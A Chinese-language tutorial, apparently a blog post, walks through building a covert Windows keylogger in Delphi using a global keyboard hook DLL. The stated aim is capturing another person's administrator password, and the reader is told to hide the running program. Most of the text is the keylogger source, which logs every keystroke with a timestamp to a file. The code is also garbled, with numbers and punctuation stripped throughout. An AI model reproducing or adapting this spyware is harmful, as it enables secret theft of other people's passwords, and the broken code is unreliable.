每个程序都有自己的生存空间
在Windows系统中你可以在任何时候让你的程序执行一些操作
还可以触发消息
触发的消息分为三种
一是操作你程序的界面
onClick
onMouseMove等等
另外一个可以使用Windows的消息机制来捕获一些系统消息
但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了
虽然还有其他方法
但不得不承认
HOOK是一个比较简单解决问题的途径
下面就来举个例子(使用Delphi调试通过)
如果你需要访问某个人的机器那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码当然你也可以使用黑客工具来得到他的密码但是为什么不自己尝试一下写个程序记录所有的键盘操作呢?
首先需要申明一点Hook不同于一般的应用程序需要作为一个全局DLL出现否则无法在你程序不激活的状态捕获其他信息的(当然你可以用Windows消息这个问题不在这里讨论)
写个DLL定义一下函数
function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure SetMainHandle(Handle: HWND); export;forward;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
procedure EntryPointProc(Reason: Integer);
const
hMapObject: THandle = ;
begin
case reason of
DLL_PROCESS_ATTACH:
begin
hMapObject := CreateFileMapping($FFFFFFFF nil PAGE_READWRITE SizeOf(THookRec) _CBT);
rHookRec := MapViewOfFile(hMapObject FILE_MAP_WRITE );
end;
DLL_PROCESS_DETACH:
begin
try
UnMapViewOfFile(rHookRec);
CloseHandle(hMapObject);
except
end;
end;
end;
end;
procedure keyhookexit;far;
begin
if hNexthookproc<> then endkeyhook;
exitproc:=procsaveexit;
end;
function endkeyhook:bool;export;
begin
if hNexthookproc<> then
begin
unhookwindowshookex(hNexthookproc);
hNexthookproc:=;
messagebeep();
end;
result:=hNexthookproc=;
MainHandle:=;
end;
function Setkeyhook:bool;export;
begin
hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD keyboardhookhandlerHInstance);
result:=hNexthookproc<>;
end;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
var
s:Tstringlist;
begin
if icode< then
begin
result:=CallNextHookEX(hNexthookprocicodewparamlparam);
exit;
end;
if lparam< then
begin
exit;
end;
s:=TStringlistCreate;
if FileExists(afilename) then
sLoadFromFile(afilename);
//将敲打的键盘字符保存到文件中
sAdd(formatdatetime(YYYYMMDD hh:nn:ss:zzz: now) + char(wParam) );
sSaveToFile(afilename);
sFree;
result:=;
end;
Dll的Project文件中定义如下
exports
setkeyhook index
endkeyhook index
SetMainHandle index ;
begin
hNexthookproc:=;
procsaveexit:=exitproc;
DllProc := @EntryPointProc;
EntryPointProc(DLL_PROCESS_ATTACH);
end
这样DLL就定义好了接下来就是画个界面
function setkeyhook:bool;external keyspydll;
function endkeyhook:bool;external keyspydll;
procedure SetMainHandle(Handle: HWND); external keyspydll;
//开始捕获键盘
SetMainHandle(handle);
setkeyhook
//中止捕获键盘
endkeyhook
然后吧你程序隐蔽起来启动捕获键盘在中止捕获之前所有键盘操作都会被记录到你所定义的filename这个文件名中去注这些代码是临时写的仅是为了说明如何写个hook程序
另外Hook的功能不仅仅是简单使用这就需要靠大家灵活运用了可以跟很多windows API来配合通过很多技巧作出让人意想不到的效果